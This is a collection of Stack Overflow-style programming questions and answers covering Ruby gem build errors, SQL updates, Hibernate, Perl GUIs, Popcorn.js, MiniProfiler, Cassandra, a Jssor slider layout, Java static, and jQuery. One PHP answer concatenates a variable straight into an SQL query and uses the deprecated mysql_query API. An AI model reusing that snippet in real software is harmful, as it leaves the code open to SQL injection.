23178824	0	Error: Failed to build native gem extension <p>I've tried following some of the advice to uninstall libv8 and reinstall it, then run bundle, but it doesn't seem to work. I'm trying to install twitter-bootstrap-rails with less.</p> <pre><code>&gt; gem install libv8 -v 3.16.14.3 -- --with-system-v8 Done installing documentation for after 0 seconds &gt; bundle update Updating git://github.com/seyhunak/twitter-bootstrap-rails.git Fetching gem metadata from https://rubygems.org/......... Fetching additional metadata from https://rubygems.org/.. Resolving dependencies... Installing rake (10.3.1) Using i18n (0.6.9) Using minitest (4.7.5) Using multi_json (1.9.2) Installing thread_safe (0.3.3) Installing tzinfo (0.3.39) Using activesupport (4.0.2) Using builder (3.1.4) Using erubis (2.7.0) Using rack (1.5.2) Using rack-test (0.6.2) Using actionpack (4.0.2) Using mime-types (1.25.1) Using polyglot (0.3.4) Using treetop (1.4.15) Using mail (2.5.4) Using actionmailer (4.0.2) Using activemodel (4.0.2) Using activerecord-deprecated_finders (1.0.3) Using arel (4.0.2) Using activerecord (4.0.2) Using bcrypt (3.1.7) Using bundler (1.5.2) Using coffee-script-source (1.7.0) Using execjs (2.0.2) Using coffee-script (2.2.0) Installing thor (0.19.1) Using railties (4.0.2) Using coffee-rails (4.0.1) Using orm_adapter (0.5.0) Using warden (1.2.3) Installing devise (3.2.4) Using hike (1.2.3) Using jbuilder (1.5.3) Using jquery-rails (3.1.0) Using json (1.8.1) Using kaminari (0.15.1) Using libv8 (3.16.14.3) Using tilt (1.4.1) Using sprockets (2.11.0) Using sprockets-rails (2.0.1) Using rails (4.0.2) Using rdoc (4.1.1) Using ref (1.0.5) Installing sass (3.2.19) Installing sass-rails (4.0.3) Using sdoc (0.4.0) Using simple_form (3.0.2) Using sqlite3 (1.3.9) Gem::Ext::BuildError: ERROR: Failed to build gem native extension. /System/Library/Frameworks/Ruby.framework/Versions/2.0/usr/bin/ruby extconf.rb checking for main() in -lpthread... yes checking for main() in -lobjc... yes creating Makefile make "DESTDIR=" clean make "DESTDIR=" compiling accessor.cc clang: warning: argument unused during compilation: '-rdynamic' compiling array.cc clang: warning: argument unused during compilation: '-rdynamic' compiling backref.cc clang: warning: argument unused during compilation: '-rdynamic' compiling constants.cc clang: warning: argument unused during compilation: '-rdynamic' compiling constraints.cc clang: warning: argument unused during compilation: '-rdynamic' compiling context.cc clang: warning: argument unused during compilation: '-rdynamic' compiling date.cc clang: warning: argument unused during compilation: '-rdynamic' compiling exception.cc clang: warning: argument unused during compilation: '-rdynamic' compiling external.cc clang: warning: argument unused during compilation: '-rdynamic' compiling function.cc clang: warning: argument unused during compilation: '-rdynamic' compiling gc.cc clang: warning: argument unused during compilation: '-rdynamic' compiling handles.cc clang: warning: argument unused during compilation: '-rdynamic' compiling heap.cc clang: warning: argument unused during compilation: '-rdynamic' compiling init.cc clang: warning: argument unused during compilation: '-rdynamic' init.cc:11:20: warning: empty parentheses interpreted as a function declaration [-Wvexing-parse] v8::Locker lock(); ^~ init.cc:11:20: note: remove parentheses to declare a variable v8::Locker lock(); ^~ init.cc:11:16: warning: 'lock' has C-linkage specified, but returns user-defined type 'v8::Locker' which is incompatible with C [-Wreturn-type-c-linkage] v8::Locker lock(); ^ 2 warnings generated. compiling invocation.cc clang: warning: argument unused during compilation: '-rdynamic' compiling locker.cc clang: warning: argument unused during compilation: '-rdynamic' compiling message.cc clang: warning: argument unused during compilation: '-rdynamic' compiling object.cc clang: warning: argument unused during compilation: '-rdynamic' compiling primitive.cc clang: warning: argument unused during compilation: '-rdynamic' compiling rr.cc clang: warning: argument unused during compilation: '-rdynamic' compiling script.cc clang: warning: argument unused during compilation: '-rdynamic' compiling signature.cc clang: warning: argument unused during compilation: '-rdynamic' compiling stack.cc clang: warning: argument unused during compilation: '-rdynamic' compiling string.cc clang: warning: argument unused during compilation: '-rdynamic' compiling template.cc clang: warning: argument unused during compilation: '-rdynamic' compiling trycatch.cc clang: warning: argument unused during compilation: '-rdynamic' compiling v8.cc clang: warning: argument unused during compilation: '-rdynamic' compiling value.cc clang: warning: argument unused during compilation: '-rdynamic' linking shared-object v8/init.bundle clang: error: unknown argument: '-multiply_definedsuppress' [-Wunused-command-line-argument-hard-error-in-future] clang: note: this will be a hard error (cannot be downgraded to a warning) in the future make: *** [init.bundle] Error 1 make failed, exit code 2 Gem files will remain installed in /Users/****/.bundler/tmp/63501/gems/therubyracer-0.12.1 for inspection. Results logged to /Users/****/.bundler/tmp/63501/extensions/universal-darwin-13/2.0.0/therubyracer-0.12.1/gem_make.out An error occurred while installing therubyracer (0.12.1), and Bundler cannot continue. Make sure that `gem install therubyracer -v '0.12.1'` succeeds before bundling. </code></pre> <p>I'm not sure what else to do at this point. Should I try uninstalling the gems and reinstalling them?</p>
10301547	0	How to update multiple rows with multiple values? <p>Well, I have a table as this </p> <pre><code>id | idtable2|value | code |name | 1 | 3 |983 | 10 |Total | 2 | 4 |89 | 10 |type 4 | 3 | 5 |299 | 10 |type 5 | 4 | 6 |0 | 10 |type 6 | 5 | 7 |72 | 10 |type 7 | 6 | 8 |523 | 10 |type 8 | 7 | 4 | | 11 |percentaje4| 8 | 5 | | 11 |percentaje5| 9 | 6 | | 11 |percentaje6| 10 | 7 | | 11 |percentaje7| 11 | 8 | | 11 |percentaje8| </code></pre> <p>where I have my values and I need to have theirs percentages. These percentajes are based on values you could see. To get for example my rows with id 7 i could do it</p> <pre><code>declare @total int set @total=(select value from table where name='total') update table set value=(select value from table where code=1' and name='type 4')/@total </code></pre> <p>and I'll need do it for all my rows which are percentages, but this is a dinamic table. In another table I have a id, and a name (<code>table1.name it's equals to table2.name</code>) and table1 for every code (10,11) is going to have a name (from table2)</p> <p>How can I get this values? I tried with a query as it.</p> <pre><code>update ce set valor=valor/@total from #table1 ce inner join table2 m on ce.t2id=m.id where codigo=10 </code></pre> <p>but i got it update values with code 10, and not values with code 11. How could i do it?</p>
24739755	0	hibernate with annotations in java, exception at runtime <p>I am new to hibernate and I'm creating a sample program with hibernate annotations. While running the program I'm getting the exception:</p> <pre><code>Java.lang.NoSuchMethodError: org.hibernate.util.ReflectHelper.classForName(Ljava/lang/String;Ljava/lang/Class;)Ljava/lang/Class </code></pre> <p>Can anyone please suggest how to resolve this issue? </p> <p>Stack Trace : </p> <pre><code>SLF4J: Failed to load class "org.slf4j.impl.StaticLoggerBinder". SLF4J: Defaulting to no-operation (NOP) logger implementation SLF4J: See http://www.slf4j.org/codes.html#StaticLoggerBinder for further details. log4j:WARN No appenders could be found for logger (org.hibernate.cfg.Environment). log4j:WARN Please initialize the log4j system properly. Exception in thread "main" java.lang.NoSuchMethodError: org.hibernate.util.ReflectHelper.classForName(Ljava/lang/String;Ljava/lang/Class;)Ljava/lang/Class; at org.hibernate.cfg.AnnotationConfiguration.buildSessionFactory(AnnotationConfiguration.java:800) at com.hibernate.tutorial.EmployeePersistor.main(EmployeePersistor.java:12) </code></pre>
1015743	0	 <p>I did use <a href="http://search.cpan.org/~robertmay/Win32-GUI-1.06/docs/GUI.pod" rel="nofollow noreferrer">Win32::GUI</a> once for such a simple project. The main window had a menu, a text-box and a few buttons and checkboxes. It worked.</p> <p>Excerpt from the method that sets up the GUI (just to give you an idea):</p> <pre><code>my @menu_items = ( '&amp;File' =&gt; 'File', ' &gt; &amp;Open' =&gt; { -name =&gt; 'FileOpen', -onClick =&gt; sub { $self-&gt;onFileOpen(@_) }, }, ' &gt; &amp;Close' =&gt; { -name =&gt; 'FileClose', -onClick =&gt; sub { $self-&gt;onFileClose(@_) }, }, ' &gt; E&amp;xit' =&gt; { -name =&gt; 'FileExit', -onClick =&gt; sub { $self-&gt;onFileExit(@_) }, }, '&amp;Help' =&gt; 'Help', ' &gt; &amp;About' =&gt; { -name =&gt; 'About', -onClick =&gt; sub { $self-&gt;onHelpAbout(@_) }, }, ); $self-&gt;set_main_menu( Win32::GUI::MakeMenu(@menu_items) ); my $window = $self-&gt;set_main_window( Win32::GUI::Window-&gt;new( -menu =&gt; $self-&gt;get_main_menu, -name =&gt; 'Main', -sizable =&gt; 0, -resizable =&gt; 0, -hasmaximize =&gt; 0, -maximizebox =&gt; 0, -title =&gt; $self-&gt;get_program_name, -onTerminate =&gt; sub { -1 }, -onTimer =&gt; sub { $self-&gt;onTimer(@_) }, ), ); $self-&gt;set_log_field( $window-&gt;AddTextfield( -name =&gt; 'Log', -font =&gt; Win32::GUI::Font-&gt;new( -name =&gt; 'LogFont', -face =&gt; 'Courier New', -size =&gt; 9, ), -multiline =&gt; 1, -wantreturn =&gt; 1, -autovscroll =&gt; 1, -vscroll =&gt; 1, -readonly =&gt; 1, ), ); $self-&gt;get_log_field-&gt;MaxLength(40000); $self-&gt;set_status_bar( $window-&gt;AddStatusBar( -name =&gt; 'Status', -text =&gt; $self-&gt;get_program_name, ), ); </code></pre>
13742775	0	Save and load elements from webpage <p>I have in my webpage a series of elements, for example videos or other media:</p> <pre><code>&lt;div id = "text"&gt; &lt;/div&gt; &lt;video height="240" width="412" id="video" controls="controls"&gt; &lt;/video&gt; </code></pre> <p>I change with JavaScript the original status of these elements and I use Popcorn.js for create a synchronization events, for example:</p> <pre><code>var video = document.getElementById('video'); video.src = $("#url").val(); //Change src value var popcorn = Popcorn( "#video" ); popcorn.footnote({ //Create a synchronization event; I add a footnote start: 2, stop: 5, text: 'Hello World!!!', target: 'text', }); </code></pre> <p>So now, my problem is that I want save these elements with their events. And after I want to have the possibility to load (in the my webpage) this elements for continue to change them again. How can I save/load in this case?</p>
25344150	0	Post to mini-profiler-results gives a 404 but only on live deployed site <p>I'm having some problems getting the POST results from MiniProfiler after the page has loaded. </p> <p>I've tried a GET, and that works. But the POST returns a 404 error as if it were looking for a static file.</p> <p><img src="https://i.stack.imgur.com/KtgCL.png" alt="shot of error"></p> <p><em>Any help or hints as to what I can try next would be much appreciated.</em></p> <p>Here's what I've looked at so far:</p> <p><strong>It's Not My Routes</strong></p> <p>The GET/POST issue would lead me to suspect a problem with my routes - except... </p> <p>This problem only occurs on the live server. Locally, the routing runs fine. </p> <p><strong>It Might be: runAllManagedModulesForAllRequest?</strong></p> <p><a href="http://stackoverflow.com/a/8011182/1778169">Most things I've read</a> suggest setting this to true. However my problem seems to contradict this. </p> <p>The problem occurs when <code>runAllManagedModulesForAllRequest="true"</code> set to true, and is fixed when set to false. I would like to keep it set to true because I'm not knowlegable enough to change that from the default setting. </p> <p><strong>Adding a Handler Didn't Help</strong></p> <p>Other resources, <a href="http://miniprofiler.com/" rel="nofollow noreferrer">like this one (at the bottom of MP's home page)</a>, suggest adding this line to system.webServer.handlers in web.config. </p> <p>As I understand it, this should allow MP to run even if runAllManagedModulesForAllRequests is set to false. For me, it has had no effect either way.</p> <pre><code>&lt;add name="MiniProfiler" path="mini-profiler-resources/*" verb="*" type="System.Web.Routing.UrlRoutingModule" resourceType="Unspecified" preCondition="integratedMode" /&gt; </code></pre> <p><strong>But Could The handlers Section in Web.Config be Related?</strong></p> <p>I have no particular reason to think it is... </p> <p>I just don't fully understand what it's doing and wonder if this could account for the difference between local and deployed versions. </p> <pre><code>&lt;handlers&gt; &lt;remove name="ExtensionlessUrlHandler-ISAPI-4.0_32bit" /&gt; &lt;remove name="ExtensionlessUrlHandler-ISAPI-4.0_64bit" /&gt; &lt;remove name="ExtensionlessUrlHandler-Integrated-4.0" /&gt; &lt;add name="ExtensionlessUrlHandler-ISAPI-4.0_32bit" path="*." verb="GET,HEAD,POST,DEBUG,PUT,DELETE,PATCH,OPTIONS" modules="IsapiModule" scriptProcessor="%windir%\Microsoft.NET\Framework\v4.0.30319\aspnet_isapi.dll" preCondition="classicMode,runtimeVersionv4.0,bitness32" responseBufferLimit="0" /&gt; &lt;add name="ExtensionlessUrlHandler-ISAPI-4.0_64bit" path="*." verb="GET,HEAD,POST,DEBUG,PUT,DELETE,PATCH,OPTIONS" modules="IsapiModule" scriptProcessor="%windir%\Microsoft.NET\Framework64\v4.0.30319\aspnet_isapi.dll" preCondition="classicMode,runtimeVersionv4.0,bitness64" responseBufferLimit="0" /&gt; &lt;add name="ExtensionlessUrlHandler-Integrated-4.0" path="*." verb="GET,HEAD,POST,DEBUG,PUT,DELETE,PATCH,OPTIONS" type="System.Web.Handlers.TransferRequestHandler" preCondition="integratedMode,runtimeVersionv4.0" /&gt; &lt;add name="MiniProfiler" path="mini-profiler-resources/*" verb="*" type="System.Web.Routing.UrlRoutingModule" resourceType="Unspecified" preCondition="" /&gt; &lt;/handlers&gt; </code></pre>
2009441	0	 <p>Assuming you are talking about the creation of dynamic objects:</p> <p>You'll obviously need a library to support this, unless you want to get into <code>Reflection.Emit</code> yourself - LinFu supported this in version 1:</p> <p><a href="http://code.google.com/p/linfu/" rel="nofollow noreferrer">http://code.google.com/p/linfu/</a></p> <p>However, it's a feature that was dropped before version 2 I seem to remember.</p>
29435822	0	settting keyspace for replication strategy <p>Hi i am pretty new to Cassandra so forgive me when i have some fundamental misunderstanding of the concept of keyspaces. What i am trying to do is to set up a multi datacenter ring in different regions with data replication NetworkTopologyStrategy endpoint_snitch set to GossipingPropertyFileSnitch hence as explained in the docs i need set the replication strategy for a keyspace</p> <pre><code> CREATE KEYSPACE "mykey" WITH REPLICATION = {'class' : 'NetworkTopologyStrategy', 'dc1' : 2, 'dc2' : 2}; </code></pre> <p>i also read that in cql i can do "use mykey" to set the keyspace</p> <p>would that be persistantly set then in the cassandra configurtation? As far as i understand each application client in a cluster uses its own keyspace right. Hence i would need to set this in the application?? </p> <p>The examples only show how to create a keyspace for configuring replication strategy options. I i think i managed to understand the basics behind it. What i am looking for is examples how i would tell cassandra to use a certain keyspace strategy (consistently and/or application dependent). </p> <p>I digged some more in the cassandra docs and think i got a better aubderstanding about the use of keyspace. Am i correct in that for telling cassandra to use a certain keyspace i can create keyspace like so</p> <pre><code>CREATE KEYSPACE "MyKey" WITH replication = {'class': 'SimpleStrategy', 'replication_factor': '1'} AND durable_writes = true; </code></pre> <p>and then create tables in this keyspace like so</p> <pre><code> CREATE TABLE "MyKey"."TableName" ( ... </code></pre> <p>Would this make cassandra to always use the configured replication strategy in the "MyKey" keyspace for that table?</p>
27746239	0	 <p>You need to actually perform the query against your DB:</p> <pre><code>$stuidcheck="SELECT status FROM valid_stuid WHERE id='".$stuid."'"; if($stuidcheck == "used") </code></pre> <p>All this does is to give the string <code>$stuidcheck</code> the value "SELECT...", but you need to do something like:</p> <pre><code>$result=mysql_query($stuidcheck); $row=mysql_fetch_assoc($result); if ($row['status'] == "used") </code></pre> <p>Or something like that (my PHP is a bit rusty, but you'll find thousands of code examples for this).</p>
30322841	0	Sticky Footer out of place with Image Slider <p>I am trying to add an image slider onto my homepage, however whenever I do so, the Sticky Footer moves out of place and I don't understand why.</p> <p>I want the Slider to stay where it is and the footer just to be in its right position and should move according to when content is added</p> <p>HTML:</p> <pre><code>&lt;body&gt; &lt;div class="navbar navbar-inverse navbar-static-top"&gt; &lt;div class="container"&gt; &lt;div class="logo"&gt; &lt;center&gt; &lt;a class="navbar-brand" href="#"&gt;&lt;img src="Final.png"/&gt;&lt;/a&gt; &lt;/center&gt; &lt;/div&gt; &lt;div class="navbar-header"&gt; &lt;button class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse"&gt; &lt;span class="icon-bar"&gt;&lt;/span&gt; &lt;span class="icon-bar"&gt;&lt;/span&gt; &lt;span class="icon-bar"&gt;&lt;/span&gt; &lt;/button&gt; &lt;/div&gt; &lt;div class="navbar-collapse collapse"&gt; &lt;ul class="nav navbar-nav"&gt; &lt;li class="active"&gt;&lt;a href="index.html"&gt;Home&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="Services.html"&gt;Services&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="Prices.html"&gt;Our Prices&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#"&gt;About Us&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="Contact.html"&gt;Contact Us&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="main"&gt; &lt;div id="slider1_container" style="position: relative; margin: 0 auto; top: 0px; left: 0px; width: 1300px; height: 500px; overflow: hidden;"&gt; &lt;!-- Loading Screen --&gt; &lt;div u="loading" style="position: absolute; top: 0px; left: 0px;"&gt; &lt;div style="filter: alpha(opacity=70); opacity: 0.7; position: absolute; display: block; top: 0px; left: 0px; width: 100%; height: 100%;"&gt; &lt;/div&gt; &lt;div style="position: absolute; display: block; background: url(../img/loading.gif) no-repeat center center; top: 0px; left: 0px; width: 100%; height: 100%;"&gt; &lt;/div&gt; &lt;/div&gt; &lt;!-- Slides Container --&gt; &lt;div u="slides" style="cursor: move; position: absolute; left: 0px; top: 0px; width: 1300px; height: 500px; overflow: hidden;"&gt; &lt;div&gt; &lt;img u="image" src="../img/1920/red.jpg" /&gt; &lt;div u="caption" t="NO" t3="RTT|2" r3="137.5%" du3="3000" d3="500" style="position: absolute; width: 445px; height: 300px; top: 100px; left: 600px;"&gt; &lt;img src="../img/new-site/c-phone.png" style="position: absolute; width: 445px; height: 300px; top: 0px; left: 0px;" /&gt; &lt;img u="caption" t="CLIP|LR" du="4000" t2="NO" src="../img/new-site/c-jssor-slider.png" style="position: absolute; width: 102px; height: 78px; top: 70px; left: 130px;" /&gt; &lt;img u="caption" t="ZMF|10" t2="NO" src="../img/new-site/c-text.png" style="position: absolute; width: 80px; height: 53px; top: 153px; left: 163px;" /&gt; &lt;img u="caption" t="RTT|10" t2="NO" src="../img/new-site/c-fruit.png" style="position: absolute; width: 140px; height: 90px; top: 60px; left: 220px;" /&gt; &lt;img u="caption" t="T" du="4000" t2="NO" src="../img/new-site/c-navigator.png" style="position: absolute; width: 200px; height: 155px; top: 57px; left: 121px;" /&gt; &lt;/div&gt; &lt;div u="caption" t="RTT|2" r="-75%" du="1600" d="2500" t2="NO" style="position: absolute; width: 470px; height: 220px; top: 120px; left: 650px;"&gt; &lt;img src="../img/new-site/c-phone-horizontal.png" style="position: absolute; width: 470px; height: 220px; top: 0px; left: 0px;" /&gt; &lt;img u="caption" t3="MCLIP|L" du3="2000" src="../img/new-site/c-slide-1.jpg" style="position: absolute; width: 379px; height: 213px; top: 4px; left: 45px;" /&gt; &lt;img u="caption" t="MCLIP|R" du="2000" t2="NO" src="../img/new-site/c-slide-3.jpg" style="position: absolute; width: 379px; height: 213px; top: 4px; left: 45px;" /&gt; &lt;img u="caption" t="RTTL|BR" x="500%" y="500%" du="1000" d="-3000" r="-30%" t3="L" x3="70%" du3="1600" src="../img/new-site/c-finger-pointing.png" style="position: absolute; width: 257px; height: 300px; top: 80px; left: 200px;" /&gt; &lt;img src="../img/new-site/c-navigator-horizontal.png" style="position: absolute; width: 379px; height: 213px; top: 4px; left: 45px;" /&gt; &lt;/div&gt; &lt;div style="position: absolute; width: 480px; height: 120px; top: 30px; left: 30px; padding: 5px; text-align: left; line-height: 60px; text-transform: uppercase; font-size: 50px; color: #FFFFFF;"&gt;Touch Swipe Slider &lt;/div&gt; &lt;div style="position: absolute; width: 480px; height: 120px; top: 300px; left: 30px; padding: 5px; text-align: left; line-height: 36px; font-size: 30px; color: #FFFFFF;"&gt; Build your slider with anything, includes image, content, text, html, photo, picture &lt;/div&gt; &lt;/div&gt; &lt;div&gt; &lt;img u="image" src="../img/1920/purple.jpg" /&gt; &lt;div style="position: absolute; width: 480px; height: 120px; top: 30px; left: 30px; padding: 5px; text-align: left; line-height: 60px; text-transform: uppercase; font-size: 50px; color: #FFFFFF;"&gt;Touch Swipe Slider &lt;/div&gt; &lt;div style="position: absolute; width: 480px; height: 120px; top: 300px; left: 30px; padding: 5px; text-align: left; line-height: 36px; font-size: 30px; color: #FFFFFF;"&gt; Build your slider with anything, includes image, content, text, html, photo, picture &lt;/div&gt; &lt;/div&gt; &lt;div&gt; &lt;img u="image" src="../img/1920/blue.jpg" /&gt; &lt;div style="position: absolute; width: 480px; height: 120px; top: 30px; left: 30px; padding: 5px; text-align: left; line-height: 60px; text-transform: uppercase; font-size: 50px; color: #FFFFFF;"&gt;Touch Swipe Slider &lt;/div&gt; &lt;div style="position: absolute; width: 480px; height: 120px; top: 300px; left: 30px; padding: 5px; text-align: left; line-height: 36px; font-size: 30px; color: #FFFFFF;"&gt; Build your slider with anything, includes image, content, text, html, photo, picture &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;div u="navigator" class="jssorb21" style="bottom: 26px; right: 6px;"&gt; &lt;!-- bullet navigator item prototype --&gt; &lt;div u="prototype"&gt;&lt;/div&gt; &lt;/div&gt; &lt;span u="arrowleft" class="jssora21l" style="top: 123px; left: 8px;"&gt; &lt;/span&gt; &lt;span u="arrowright" class="jssora21r" style="top: 123px; right: 8px;"&gt; &lt;/span&gt; &lt;a style="display: none" href="http://www.jssor.com"&gt;Bootstrap Slider&lt;/a&gt; &lt;/div&gt; &lt;/div&gt; &lt;footer class="footer navbar-static-bottom"&gt; &lt;div class="container"&gt; &lt;h6 class="text-center"&gt;Copyright &amp;copy; Soni Computer Repairs&lt;/h6&gt; &lt;p class="text-center"&gt;www.SoniRepairs.com&lt;/p&gt; &lt;/div&gt; &lt;/footer&gt; &lt;/body&gt; </code></pre> <p>JavaScript/JQuery:</p> <pre><code>&lt;script&gt; jQuery(document).ready(function ($) { var _CaptionTransitions = []; _CaptionTransitions["L"] = { $Duration: 900, x: 0.6, $Easing: { $Left: $JssorEasing$.$EaseInOutSine }, $Opacity: 2 }; _CaptionTransitions["R"] = { $Duration: 900, x: -0.6, $Easing: { $Left: $JssorEasing$.$EaseInOutSine }, $Opacity: 2 }; _CaptionTransitions["T"] = { $Duration: 900, y: 0.6, $Easing: { $Top: $JssorEasing$.$EaseInOutSine }, $Opacity: 2 }; _CaptionTransitions["B"] = { $Duration: 900, y: -0.6, $Easing: { $Top: $JssorEasing$.$EaseInOutSine }, $Opacity: 2 }; _CaptionTransitions["ZMF|10"] = { $Duration: 900, $Zoom: 11, $Easing: { $Zoom: $JssorEasing$.$EaseOutQuad, $Opacity: $JssorEasing$.$EaseLinear }, $Opacity: 2 }; _CaptionTransitions["RTT|10"] = { $Duration: 900, $Zoom: 11, $Rotate: 1, $Easing: { $Zoom: $JssorEasing$.$EaseOutQuad, $Opacity: $JssorEasing$.$EaseLinear, $Rotate: $JssorEasing$.$EaseInExpo }, $Opacity: 2, $Round: { $Rotate: 0.8} }; _CaptionTransitions["RTT|2"] = { $Duration: 900, $Zoom: 3, $Rotate: 1, $Easing: { $Zoom: $JssorEasing$.$EaseInQuad, $Opacity: $JssorEasing$.$EaseLinear, $Rotate: $JssorEasing$.$EaseInQuad }, $Opacity: 2, $Round: { $Rotate: 0.5} }; _CaptionTransitions["RTTL|BR"] = { $Duration: 900, x: -0.6, y: -0.6, $Zoom: 11, $Rotate: 1, $Easing: { $Left: $JssorEasing$.$EaseInCubic, $Top: $JssorEasing$.$EaseInCubic, $Zoom: $JssorEasing$.$EaseInCubic, $Opacity: $JssorEasing$.$EaseLinear, $Rotate: $JssorEasing$.$EaseInCubic }, $Opacity: 2, $Round: { $Rotate: 0.8} }; _CaptionTransitions["CLIP|LR"] = { $Duration: 900, $Clip: 15, $Easing: { $Clip: $JssorEasing$.$EaseInOutCubic }, $Opacity: 2 }; _CaptionTransitions["MCLIP|L"] = { $Duration: 900, $Clip: 1, $Move: true, $Easing: { $Clip: $JssorEasing$.$EaseInOutCubic} }; _CaptionTransitions["MCLIP|R"] = { $Duration: 900, $Clip: 2, $Move: true, $Easing: { $Clip: $JssorEasing$.$EaseInOutCubic} }; var options = { $FillMode: 2, //[Optional] The way to fill image in slide, 0 stretch, 1 contain (keep aspect ratio and put all inside slide), 2 cover (keep aspect ratio and cover whole slide), 4 actual size, 5 contain for large image, actual size for small image, default value is 0 $AutoPlay: true, //[Optional] Whether to auto play, to enable slideshow, this option must be set to true, default value is false $AutoPlayInterval: 4000, //[Optional] Interval (in milliseconds) to go for next slide since the previous stopped if the slider is auto playing, default value is 3000 $PauseOnHover: 1, //[Optional] Whether to pause when mouse over if a slider is auto playing, 0 no pause, 1 pause for desktop, 2 pause for touch device, 3 pause for desktop and touch device, 4 freeze for desktop, 8 freeze for touch device, 12 freeze for desktop and touch device, default value is 1 $ArrowKeyNavigation: true, //[Optional] Allows keyboard (arrow key) navigation or not, default value is false $SlideEasing: $JssorEasing$.$EaseOutQuint, //[Optional] Specifies easing for right to left animation, default value is $JssorEasing$.$EaseOutQuad $SlideDuration: 800, //[Optional] Specifies default duration (swipe) for slide in milliseconds, default value is 500 $MinDragOffsetToSlide: 20, //[Optional] Minimum drag offset to trigger slide , default value is 20 //$SlideWidth: 600, //[Optional] Width of every slide in pixels, default value is width of 'slides' container //$SlideHeight: 300, //[Optional] Height of every slide in pixels, default value is height of 'slides' container $SlideSpacing: 0, //[Optional] Space between each slide in pixels, default value is 0 $DisplayPieces: 1, //[Optional] Number of pieces to display (the slideshow would be disabled if the value is set to greater than 1), the default value is 1 $ParkingPosition: 0, //[Optional] The offset position to park slide (this options applys only when slideshow disabled), default value is 0. $UISearchMode: 1, //[Optional] The way (0 parellel, 1 recursive, default value is 1) to search UI components (slides container, loading screen, navigator container, arrow navigator container, thumbnail navigator container etc). $PlayOrientation: 1, //[Optional] Orientation to play slide (for auto play, navigation), 1 horizental, 2 vertical, 5 horizental reverse, 6 vertical reverse, default value is 1 $DragOrientation: 1, //[Optional] Orientation to drag slide, 0 no drag, 1 horizental, 2 vertical, 3 either, default value is 1 (Note that the $DragOrientation should be the same as $PlayOrientation when $DisplayPieces is greater than 1, or parking position is not 0) $CaptionSliderOptions: { //[Optional] Options which specifies how to animate caption $Class: $JssorCaptionSlider$, //[Required] Class to create instance to animate caption $CaptionTransitions: _CaptionTransitions, //[Required] An array of caption transitions to play caption, see caption transition section at jssor slideshow transition builder $PlayInMode: 1, //[Optional] 0 None (no play), 1 Chain (goes after main slide), 3 Chain Flatten (goes after main slide and flatten all caption animations), default value is 1 $PlayOutMode: 3 //[Optional] 0 None (no play), 1 Chain (goes before main slide), 3 Chain Flatten (goes before main slide and flatten all caption animations), default value is 1 }, $BulletNavigatorOptions: { //[Optional] Options to specify and enable navigator or not $Class: $JssorBulletNavigator$, //[Required] Class to create navigator instance $ChanceToShow: 2, //[Required] 0 Never, 1 Mouse Over, 2 Always $AutoCenter: 1, //[Optional] Auto center navigator in parent container, 0 None, 1 Horizontal, 2 Vertical, 3 Both, default value is 0 $Steps: 1, //[Optional] Steps to go for each navigation request, default value is 1 $Lanes: 1, //[Optional] Specify lanes to arrange items, default value is 1 $SpacingX: 8, //[Optional] Horizontal space between each item in pixel, default value is 0 $SpacingY: 8, //[Optional] Vertical space between each item in pixel, default value is 0 $Orientation: 1 //[Optional] The orientation of the navigator, 1 horizontal, 2 vertical, default value is 1 }, $ArrowNavigatorOptions: { //[Optional] Options to specify and enable arrow navigator or not $Class: $JssorArrowNavigator$, //[Requried] Class to create arrow navigator instance $ChanceToShow: 1, //[Required] 0 Never, 1 Mouse Over, 2 Always $AutoCenter: 2, //[Optional] Auto center arrows in parent container, 0 No, 1 Horizontal, 2 Vertical, 3 Both, default value is 0 $Steps: 1 //[Optional] Steps to go for each navigation request, default value is 1 } }; var jssor_slider1 = new $JssorSlider$("slider1_container", options); //responsive code begin //you can remove responsive code if you don't want the slider scales while window resizes function ScaleSlider() { var bodyWidth = document.body.clientWidth; if (bodyWidth) jssor_slider1.$ScaleWidth(Math.min(bodyWidth, 1920)); else window.setTimeout(ScaleSlider, 30); } ScaleSlider(); $(window).bind("load", ScaleSlider); $(window).bind("resize", ScaleSlider); $(window).bind("orientationchange", ScaleSlider); //responsive code end }); &lt;/script&gt; </code></pre> <p>CSS :</p> <pre><code>@media screen and (max-width:700px) { } .footer { position: relative; bottom: 0; width: 100%; height: 60px; background-color: #f5f5f5; margin-top: 10px; } .jssora21l, .jssora21r { display: block; position: absolute; width: 55px; height: 55px; cursor: pointer; background: url(../img/a21.png) center center no-repeat; overflow: hidden; } .jssora21l { background-position: -3px -33px; } .jssora21r { background-position: -63px -33px; } .jssora21l:hover { background-position: -123px -33px; } .jssora21r:hover { background-position: -183px -33px; } .jssora21l.jssora21ldn { background-position: -243px -33px; } .jssora21r.jssora21rdn { background-position: -303px -33px; } .jssorb21 { position: absolute; } .jssorb21 div, .jssorb21 div:hover, .jssorb21 .av { position: absolute; width: 19px; height: 19px; text-align: center; line-height: 19px; color: white; font-size: 12px; background: url(../img/b21.png) no-repeat; overflow: hidden; cursor: pointer; } .jssorb21 div { background-position: -5px -5px; } .jssorb21 div:hover, .jssorb21 .av:hover { background-position: -35px -5px; } .jssorb21 .av { background-position: -65px -5px; } .jssorb21 .dn, .jssorb21 .dn:hover { background-position: -95px -5px; } </code></pre>
18763433	0	I need a very basic understanding of what static means <p>I am a java newbie, and despite searching everywhere, I cannot find a basic definition for what static actually does. Could somebody please tell me what it means? Also, please phrase your answer as if I do not even know what java is, no programming language examples please? Huge thanks. EDIT: so my understanding is that when you have a static variable inside of a constructor, </p> <pre><code>i.e. you have class test{ static int a = 5; public test(){ } } </code></pre> <p>and then</p> <pre><code>test test1 = new test(); test test2 = new test(): </code></pre> <p>, <code>test1.a</code> would equal 5, and <code>test2.a</code> would also equal 5. If you changed <code>test1.a = 6</code> however, <code>test2.a</code> would also equal 6?</p>
12513219	0	 <p>I know no-one is asking for a jQuery solution here, but might be worth mentioning that with jQuery you can just ask for:<code>$('#selectorid').val()</code></p>
